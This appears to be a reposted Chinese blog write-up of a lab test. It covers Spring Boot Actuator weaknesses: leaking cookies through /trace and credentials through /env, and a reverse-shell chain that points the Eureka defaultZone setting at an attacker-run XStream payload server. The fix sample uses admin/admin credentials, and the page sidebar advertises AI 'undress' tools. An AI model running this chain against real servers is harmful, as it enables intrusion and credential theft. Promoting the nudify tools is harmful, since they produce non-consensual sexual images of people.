Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析
May 23, 2023 am 08:56 AM前言
部門大佬在某src上挖到了這個(gè)漏洞,是一個(gè)比較老的洞了,我覺得有點(diǎn)意思,就動(dòng)手在本地搭了個(gè)環(huán)境測(cè)試一下。
Actuator 是 springboot 提供的用來對(duì)應(yīng)用系統(tǒng)進(jìn)行自省和監(jiān)控的功能模塊,借助于 Actuator 開發(fā)者可以很方便地對(duì)應(yīng)用系統(tǒng)某些監(jiān)控指標(biāo)進(jìn)行查看、統(tǒng)計(jì)等。在 Actuator 啟用的情況下,如果沒有做好相關(guān)權(quán)限控制,非法用戶可通過訪問默認(rèn)的執(zhí)行器端點(diǎn)(endpoints)來獲取應(yīng)用系統(tǒng)中的監(jiān)控信息,從而導(dǎo)致信息泄露甚至服務(wù)器被接管的事件發(fā)生。
Actuator是Spring Boot提供的一個(gè)功能模塊,它可以用于自省和監(jiān)控應(yīng)用程序系統(tǒng)。The provided executor endpoints are divided into two categories: native endpoints and user-defined extension endpoints. The native endpoints mainly include:
利用思路
利用env加refresh進(jìn)行g(shù)etshell
利用mappings,尋找未授權(quán)接口
利用trace,獲取認(rèn)證信息(Cookie、tooken、Session),利用認(rèn)證信息訪問接口。
env有可能泄露的數(shù)據(jù)庫賬號(hào)密碼(mangodb),當(dāng)然得開放外網(wǎng),可能性較小。
老外說可以執(zhí)行sql語句,目前沒搞明白
漏洞發(fā)現(xiàn)
通常識(shí)別當(dāng)前 web 應(yīng)用使用的框架為 springboot 框架。主要有兩個(gè)方法判斷:
通過 web 應(yīng)用程序網(wǎng)頁標(biāo)簽的圖標(biāo)(favicon.ico);如果 web 應(yīng)用開發(fā)者沒有修改 springboot web 應(yīng)用的默認(rèn)圖標(biāo),那么進(jìn)入應(yīng)用首頁后可以看到如下默認(rèn)的綠色小圖標(biāo):
通過 springboot 框架默認(rèn)報(bào)錯(cuò)頁面;如果 web 應(yīng)用開發(fā)者沒有修改 springboot web 應(yīng)用的默認(rèn) 4xx、5xx 報(bào)錯(cuò)頁面,那么當(dāng) web 應(yīng)用程序出現(xiàn) 4xx、5xx 錯(cuò)誤時(shí),會(huì)報(bào)錯(cuò)如下(此處僅以 404 報(bào)錯(cuò)頁面為例):訪問一個(gè)隨便構(gòu)造的路徑,比如:http:/172.26.2.24:8090/index,出現(xiàn)如下報(bào)錯(cuò)頁面說明web網(wǎng)站使用了springboot框架(在實(shí)際中遇到的大多數(shù)都是此類情況)。
綜合以上兩個(gè)途徑來判斷當(dāng)前 web 應(yīng)用是否是 springboot 框架,就是通過訪問不同的目錄,看是否有小綠葉圖標(biāo),然后就是想辦法在不同目錄下觸發(fā)應(yīng)用程序的 4xx 或 5xx 錯(cuò)誤,看是否有 Whitelabel Error Page 報(bào)錯(cuò)。
漏洞利用
訪問/trace端點(diǎn)獲取基本的 HTTP 請(qǐng)求跟蹤信息(時(shí)間戳、HTTP 頭等),如果存在登錄用戶的操作請(qǐng)求,可以偽造cookie進(jìn)行登錄。
訪問/env端點(diǎn)獲取全部環(huán)境屬性,由于 actuator 會(huì)監(jiān)控站點(diǎn) mysql、mangodb 之類的數(shù)據(jù)庫服務(wù),所以通過監(jiān)控信息有時(shí)可以mysql、mangodb 數(shù)據(jù)庫信息,如果數(shù)據(jù)庫正好開放在公網(wǎng),那么造成的危害是巨大的,
/env端點(diǎn)配置不當(dāng)造成RCE,
前置條件:Eureka-Client <1.8.7(多見于Spring Cloud Netflix)
比如測(cè)試前臺(tái)json報(bào)錯(cuò)泄露包名就是使用netflix
需要以下兩個(gè)包
spring-boot-starter-actuator(/refresh刷新配置需要)
spring-cloud-starter-netflix-eureka-client(功能依賴)
利用python3啟動(dòng)腳本,需要注意兩個(gè)地方,一個(gè)為接收shell的ip和端口,另一個(gè)為我們腳本啟動(dòng)的端口,
Nc監(jiān)聽一個(gè)端口用以接收反彈shell,
寫入配置,訪問/env端點(diǎn),抓包將get請(qǐng)求改為post請(qǐng)求,post內(nèi)容為(該ip為腳本啟動(dòng)的機(jī)器的ip):
eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream
然后再訪問/refresh,抓包將get請(qǐng)求更改為post請(qǐng)求,post數(shù)據(jù)隨意,
然后在我們nc的窗口可以看到成功反彈了一個(gè)shell回來。
漏洞修復(fù)
作為一名安全dog,不能只挖不修,在項(xiàng)目的pom.xml文件下引入spring-boot-starter-security依賴
<dependency> <groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-security</artifactId> </dependency></p> <p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168480339634948.jpg" class="lazy" alt="Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析"></p> <p>然后在application.properties中開啟security功能,配置訪問賬號(hào)密碼,重啟應(yīng)用即可彈出。</p> <pre class="brush:php;toolbar:false">management.security.enabled=true security.user.name=admin security.user.password=admin
禁用接口,則可設(shè)置如下(如禁用env接口):
endpoints.env.enabled= false
問題
老外說可以執(zhí)行sql語句發(fā)現(xiàn)執(zhí)行不了,可能方法沒用對(duì),截了個(gè)他的圖,希望有執(zhí)行成功的大佬分享下。
實(shí)際環(huán)境中,發(fā)現(xiàn)很多無refresh ,導(dǎo)致無法執(zhí)行命令目前還沒突破
以上是Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析的詳細(xì)內(nèi)容。更多信息請(qǐng)關(guān)注PHP中文網(wǎng)其他相關(guān)文章!

熱AI工具

Undress AI Tool
免費(fèi)脫衣服圖片

Undresser.AI Undress
人工智能驅(qū)動(dòng)的應(yīng)用程序,用于創(chuàng)建逼真的裸體照片

AI Clothes Remover
用于從照片中去除衣服的在線人工智能工具。

Clothoff.io
AI脫衣機(jī)

Video Face Swap
使用我們完全免費(fèi)的人工智能換臉工具輕松在任何視頻中換臉!

熱門文章

熱工具

記事本++7.3.1
好用且免費(fèi)的代碼編輯器

SublimeText3漢化版
中文版,非常好用

禪工作室 13.0.1
功能強(qiáng)大的PHP集成開發(fā)環(huán)境

Dreamweaver CS6
視覺化網(wǎng)頁開發(fā)工具

SublimeText3 Mac版
神級(jí)代碼編輯軟件(SublimeText3)

隨著大數(shù)據(jù)時(shí)代的到來,越來越多的企業(yè)開始了解和認(rèn)識(shí)到大數(shù)據(jù)的價(jià)值,并將其運(yùn)用到商業(yè)中。而隨之而來的問題就是如何處理這些大流量的數(shù)據(jù)。在這種情況下,大數(shù)據(jù)處理應(yīng)用程序成為了每個(gè)企業(yè)必須考慮的事情。而對(duì)于開發(fā)人員而言,如何使用SpringBoot構(gòu)建一個(gè)高效的大數(shù)據(jù)處理應(yīng)用程序也是一個(gè)非常重要的問題。SpringBoot是一個(gè)非常流行的Java框架,它可以讓

隨著技術(shù)的不斷發(fā)展,我們現(xiàn)在可以使用不同的技術(shù)來構(gòu)建桌面應(yīng)用程序。而SpringBoot和JavaFX則是現(xiàn)在較為流行的選擇之一。本文將重點(diǎn)介紹如何使用這兩個(gè)框架來構(gòu)建一個(gè)功能豐富的桌面應(yīng)用程序。一、介紹SpringBoot和JavaFXSpringBoot是一個(gè)基于Spring框架的快速開發(fā)框架。它可以幫助開發(fā)者快速構(gòu)建Web應(yīng)用程序,同時(shí)提供一組開

我們?cè)趯?shí)際項(xiàng)目中,盡量規(guī)避分布式事務(wù)。但是,有些時(shí)候是真的需要做一些服務(wù)拆分從而會(huì)引出分布式事務(wù)問題。同時(shí),分布式事務(wù)也是面試中市場(chǎng)被問,可以拿著這個(gè)案例練練手,面試就可以說上個(gè)123了。

隨著比特幣等數(shù)字貨幣的興起,區(qū)塊鏈技術(shù)也逐漸成為熱門話題。而智能合約,則可視為區(qū)塊鏈技術(shù)的重要組成部分。SpringBoot作為一種流行的Java后端開發(fā)框架,也能夠用來構(gòu)建區(qū)塊鏈應(yīng)用和智能合約。本文將介紹如何利用SpringBoot搭建基于區(qū)塊鏈技術(shù)的應(yīng)用和智能合約。一、SpringBoot與區(qū)塊鏈?zhǔn)紫?,我們需要了解一些與區(qū)塊鏈相關(guān)的基本概念。區(qū)塊鏈

在現(xiàn)代Web應(yīng)用程序開發(fā)中,WebSocket是實(shí)現(xiàn)即時(shí)通信和實(shí)時(shí)數(shù)據(jù)傳輸?shù)某S眉夹g(shù)。SpringBoot框架提供了集成WebSocket的支持,使得開發(fā)者可以非常方便地實(shí)現(xiàn)推送和通知功能。本文將介紹SpringBoot中如何使用WebSocket實(shí)現(xiàn)推送和通知功能,并演示一個(gè)簡(jiǎn)單的實(shí)時(shí)在線聊天室的實(shí)現(xiàn)。創(chuàng)建SpringBoot項(xiàng)目首先,我們需要?jiǎng)?chuàng)建一

隨著現(xiàn)代企業(yè)越來越依賴于各種不同的應(yīng)用程序和系統(tǒng),企業(yè)集成變得愈發(fā)重要。企業(yè)服務(wù)總線(ESB)就是一種集成架構(gòu)模式,通過將不同系統(tǒng)和應(yīng)用程序連接在一起,提供通用的數(shù)據(jù)交換和消息路由服務(wù),從而實(shí)現(xiàn)企業(yè)級(jí)應(yīng)用程序集成。使用SpringBoot和ApacheServiceMix,我們可以輕松構(gòu)建一個(gè)ESB系統(tǒng),這篇文章將介紹如何實(shí)現(xiàn)。SpringBoot和A

SpringBoot是一款非常流行的Java開發(fā)框架,不僅具有快速開發(fā)的優(yōu)勢(shì),而且還內(nèi)置了很多實(shí)用的功能,其中,任務(wù)調(diào)度和定時(shí)任務(wù)就是其常用的功能之一。本文將探討SpringBoot的任務(wù)調(diào)度和定時(shí)任務(wù)實(shí)現(xiàn)方法。一、SpringBoot任務(wù)調(diào)度簡(jiǎn)介SpringBoot任務(wù)調(diào)度(TaskScheduling)是指在特定的時(shí)間點(diǎn)或某個(gè)條件下,執(zhí)行一些特

隨著全球化的發(fā)展,越來越多的網(wǎng)站和應(yīng)用需要提供多語言支持和國(guó)際化功能。對(duì)于開發(fā)人員而言,實(shí)現(xiàn)這些功能并不是一件容易的事情,因?yàn)樗枰紤]許多方面的問題,如語言的翻譯、日期、時(shí)間和貨幣格式等等。但是,使用SpringBoot框架,我們可以輕松地實(shí)現(xiàn)多語言支持和國(guó)際化應(yīng)用。首先,讓我們了解一下SpringBoot提供的LocaleResolver接口。Loc
